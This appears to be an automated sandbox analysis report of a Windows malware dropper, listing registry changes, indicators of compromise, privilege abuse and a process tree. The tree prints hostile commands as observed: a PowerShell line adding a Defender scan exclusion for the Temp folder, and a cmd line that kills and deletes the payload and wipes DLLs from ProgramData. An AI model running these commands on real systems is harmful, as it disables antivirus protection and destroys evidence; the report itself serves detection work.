Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaV = "%windir%\\Speech_OneCore\\Engines\\SR\\en-US-N\\AI041033"	MicrosoftEdgeCP.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{A3CA1CF4-5F3E-4AC0-91B9-0D3716E1EAC3}\TYPELIB	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{da82e55e-fa2f-45b3-aec3-e7294106ef52}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\BannerNotificationHandler.BannerNotificationHandler\CurVer\ = "BannerNotificationHandler.AutoBannerNotificationHandlerPlayHandler.1"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{679EC955-75AA-4FB2-A7ED-8C0152ECF409}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\mcafee.com	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{da82e55e-fa2f-45b3-aec3-e7294106ef52}\ = "IFileSyncClient5"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{3A4E62AE-45D9-41D5-85F5-A45B77AB44E5}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaV = "0"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaV = "11.0.2016.0129"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{f0440f4e-4884-4a8F-8a45-ba89c00f96f2}\ProxyStubClsid32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{944903E8-B03F-43A0-8341-872200D2DA9C}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{389510b7-9e58-40d7-98bf-60b911cb0ea9}\ = "FileSyncCustomStatesProvider Class"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{9489FEB2-1925-4D01-B788-6D912C70F7F2}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.160.0808.0002\\FileCoAuth.exe\""	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate	MicrosoftEdgeCP.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exe

pid process

5564 reg.exe
7676 reg.exe

pid	process
5564	reg.exe
7676	reg.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

installer.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	installer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	installer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	installer.exe

Runs net.exe

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	14	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	69	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	145	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeSun05532f7abc.exeExplorer.EXEWerFault.exeWerFault.exe

pid	process
3188	powershell.exe
3188	powershell.exe
4228	Sun05532f7abc.exe
4228	Sun05532f7abc.exe
3188	powershell.exe
3188	powershell.exe
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
4340	WerFault.exe
2172	Explorer.EXE
2172	Explorer.EXE
4340	WerFault.exe
4340	WerFault.exe
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
3052	WerFault.exe
3052	WerFault.exe
2172	Explorer.EXE
3052	WerFault.exe
3052	WerFault.exe
3052	WerFault.exe
3052	WerFault.exe
3052	WerFault.exe
3052	WerFault.exe
3052	WerFault.exe
3052	WerFault.exe
3052	WerFault.exe
3052	WerFault.exe
3052	WerFault.exe
3052	WerFault.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

2172 Explorer.EXE
Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

616
616

pid	process
616
616

Suspicious behavior: MapViewOfSection 20 IoCs

Processes:

Sun05532f7abc.exeMicrosoftEdgeCP.exeejsghbfMicrosoftEdgeCP.exeejsghbfejsghbf

pid	process
4228	Sun05532f7abc.exe
3388	MicrosoftEdgeCP.exe
3388	MicrosoftEdgeCP.exe
5116	ejsghbf
4656	MicrosoftEdgeCP.exe
4656	MicrosoftEdgeCP.exe
4656	MicrosoftEdgeCP.exe
4656	MicrosoftEdgeCP.exe
4656	MicrosoftEdgeCP.exe
4656	MicrosoftEdgeCP.exe
7852	ejsghbf
4656	MicrosoftEdgeCP.exe
4656	MicrosoftEdgeCP.exe
4656	MicrosoftEdgeCP.exe
4656	MicrosoftEdgeCP.exe
664	ejsghbf
4656	MicrosoftEdgeCP.exe
4656	MicrosoftEdgeCP.exe
4656	MicrosoftEdgeCP.exe
4656	MicrosoftEdgeCP.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

Processes:

3738390.exe

pid process

1160 3738390.exe

pid	process
1160	3738390.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Sun05d60bc3b96248e5.exeSun059375dac544fc4a.exepowershell.exeSun050462125c7d35.exe426984.exe2.exe4028085.exePublicDwlBrowser1100.exe6571440.exeExplorer.EXEWerFault.exeWerFault.exeBearVpn 3.exe

description	pid	process
Token: SeCreateTokenPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeAssignPrimaryTokenPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeLockMemoryPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeIncreaseQuotaPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeMachineAccountPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeTcbPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeSecurityPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeTakeOwnershipPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeLoadDriverPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeSystemProfilePrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeSystemtimePrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeProfSingleProcessPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeIncBasePriorityPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeCreatePagefilePrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeCreatePermanentPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeBackupPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeRestorePrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeShutdownPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeDebugPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeAuditPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeSystemEnvironmentPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeChangeNotifyPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeRemoteShutdownPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeUndockPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeSyncAgentPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeEnableDelegationPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeManageVolumePrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeImpersonatePrivilege	1832	Sun05d60bc3b96248e5.exe
Token: SeCreateGlobalPrivilege	1832	Sun05d60bc3b96248e5.exe
Token: 31	1832	Sun05d60bc3b96248e5.exe
Token: 32	1832	Sun05d60bc3b96248e5.exe
Token: 33	1832	Sun05d60bc3b96248e5.exe
Token: 34	1832	Sun05d60bc3b96248e5.exe
Token: 35	1832	Sun05d60bc3b96248e5.exe
Token: SeDebugPrivilege	3884	Sun059375dac544fc4a.exe
Token: SeDebugPrivilege	3188	powershell.exe
Token: SeDebugPrivilege	4084	Sun050462125c7d35.exe
Token: SeDebugPrivilege	2644	426984.exe
Token: SeDebugPrivilege	3444	2.exe
Token: SeDebugPrivilege	5084	4028085.exe
Token: SeDebugPrivilege	4920	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	4420	6571440.exe
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeRestorePrivilege	3052	WerFault.exe
Token: SeBackupPrivilege	3052	WerFault.exe
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeDebugPrivilege	4340	WerFault.exe
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeDebugPrivilege	500	BearVpn 3.exe
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeDebugPrivilege	3052	WerFault.exe
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeShutdownPrivilege	2172	Explorer.EXE

Suspicious use of FindShellTrayWindow 17 IoCs

Processes:

setup_2.tmpultramediaburner.tmpExplorer.EXEinstaller.exe

pid	process
1212	setup_2.tmp
3892	ultramediaburner.tmp
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
6536	installer.exe
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE

Suspicious use of SendNotifyMessage 4 IoCs

Processes:

Explorer.EXE

pid process

2172 Explorer.EXE
2172 Explorer.EXE
2172 Explorer.EXE
2172 Explorer.EXE

Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

Explorer.EXEMicrosoftEdge.exeMicrosoftEdgeCP.execmd.exeMicrosoftEdge.exeMicrosoftEdgeCP.exesdxhelper.exeSDXHelper.exe

pid	process
2172	Explorer.EXE
7120	MicrosoftEdge.exe
3388	MicrosoftEdgeCP.exe
3388	MicrosoftEdgeCP.exe
1988	cmd.exe
6456	MicrosoftEdge.exe
4656	MicrosoftEdgeCP.exe
4656	MicrosoftEdgeCP.exe
6744	sdxhelper.exe
2256	SDXHelper.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.exeWerFault.execmd.execmd.exe

description	pid	process	target process
PID 5004 wrote to memory of 5088	5004	setup_x86_x64_install.exe	setup_installer.exe
PID 5004 wrote to memory of 5088	5004	setup_x86_x64_install.exe	setup_installer.exe
PID 5004 wrote to memory of 5088	5004	setup_x86_x64_install.exe	setup_installer.exe
PID 5088 wrote to memory of 4124	5088	setup_installer.exe	setup_install.exe
PID 5088 wrote to memory of 4124	5088	setup_installer.exe	setup_install.exe
PID 5088 wrote to memory of 4124	5088	setup_installer.exe	setup_install.exe
PID 4124 wrote to memory of 3388	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3388	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3388	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3560	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3560	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3560	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3568	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3568	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3568	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3580	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3580	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3580	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3616	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3616	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3616	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3052	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3052	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3052	4124	setup_install.exe	cmd.exe
PID 3560 wrote to memory of 4236	3560	cmd.exe	Sun05ac1b0207d3ff3b8.exe
PID 3560 wrote to memory of 4236	3560	cmd.exe	Sun05ac1b0207d3ff3b8.exe
PID 3560 wrote to memory of 4236	3560	cmd.exe	Sun05ac1b0207d3ff3b8.exe
PID 3580 wrote to memory of 4228	3580	cmd.exe	Sun05532f7abc.exe
PID 3580 wrote to memory of 4228	3580	cmd.exe	Sun05532f7abc.exe
PID 3580 wrote to memory of 4228	3580	cmd.exe	Sun05532f7abc.exe
PID 4124 wrote to memory of 772	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 772	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 772	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 4220	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 4220	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 4220	4124	setup_install.exe	cmd.exe
PID 3388 wrote to memory of 3188	3388	cmd.exe	powershell.exe
PID 3388 wrote to memory of 3188	3388	cmd.exe	powershell.exe
PID 3388 wrote to memory of 3188	3388	cmd.exe	powershell.exe
PID 4124 wrote to memory of 3752	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3752	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3752	4124	setup_install.exe	cmd.exe
PID 3568 wrote to memory of 3964	3568	cmd.exe	Sun052bbd8bebd9.exe
PID 3568 wrote to memory of 3964	3568	cmd.exe	Sun052bbd8bebd9.exe
PID 3568 wrote to memory of 3964	3568	cmd.exe	Sun052bbd8bebd9.exe
PID 4124 wrote to memory of 4452	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 4452	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 4452	4124	setup_install.exe	cmd.exe
PID 3616 wrote to memory of 4368	3616	cmd.exe	Sun05640630a6aa.exe
PID 3616 wrote to memory of 4368	3616	cmd.exe	Sun05640630a6aa.exe
PID 3616 wrote to memory of 4368	3616	cmd.exe	Sun05640630a6aa.exe
PID 4124 wrote to memory of 3464	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3464	4124	setup_install.exe	cmd.exe
PID 4124 wrote to memory of 3464	4124	setup_install.exe	cmd.exe
PID 4220 wrote to memory of 4084	4220	cmd.exe	Sun050462125c7d35.exe
PID 4220 wrote to memory of 4084	4220	cmd.exe	Sun050462125c7d35.exe
PID 3052 wrote to memory of 3884	3052	WerFault.exe	Sun059375dac544fc4a.exe
PID 3052 wrote to memory of 3884	3052	WerFault.exe	Sun059375dac544fc4a.exe
PID 3464 wrote to memory of 3352	3464	cmd.exe	Sun05fa3b4d2ae56e.exe
PID 3464 wrote to memory of 3352	3464	cmd.exe	Sun05fa3b4d2ae56e.exe
PID 3464 wrote to memory of 3352	3464	cmd.exe	Sun05fa3b4d2ae56e.exe
PID 772 wrote to memory of 1832	772	cmd.exe	Sun05d60bc3b96248e5.exe
PID 772 wrote to memory of 1832	772	cmd.exe	Sun05d60bc3b96248e5.exe
PID 772 wrote to memory of 1832	772	cmd.exe	Sun05d60bc3b96248e5.exe

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:340

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1400

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1380

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1176

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2372

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2680

C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /F /T /R
2⤵
PID:5608

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:2172

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:5004

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5088

C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\setup_install.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4124

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
5⤵
- Suspicious use of WriteProcessMemory
PID:3388

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3188

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun05ac1b0207d3ff3b8.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:3560

C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\Sun05ac1b0207d3ff3b8.exe
Sun05ac1b0207d3ff3b8.exe
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4236

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im Sun05ac1b0207d3ff3b8.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\Sun05ac1b0207d3ff3b8.exe" & del C:\ProgramData\*.dll & exit
7⤵
PID:908

C:\Windows\SysWOW64\taskkill.exe
taskkill /im Sun05ac1b0207d3ff3b8.exe /f
8⤵
- Kills process with taskkill
PID:6520

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:6380

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun052bbd8bebd9.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:3568

C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\Sun052bbd8bebd9.exe
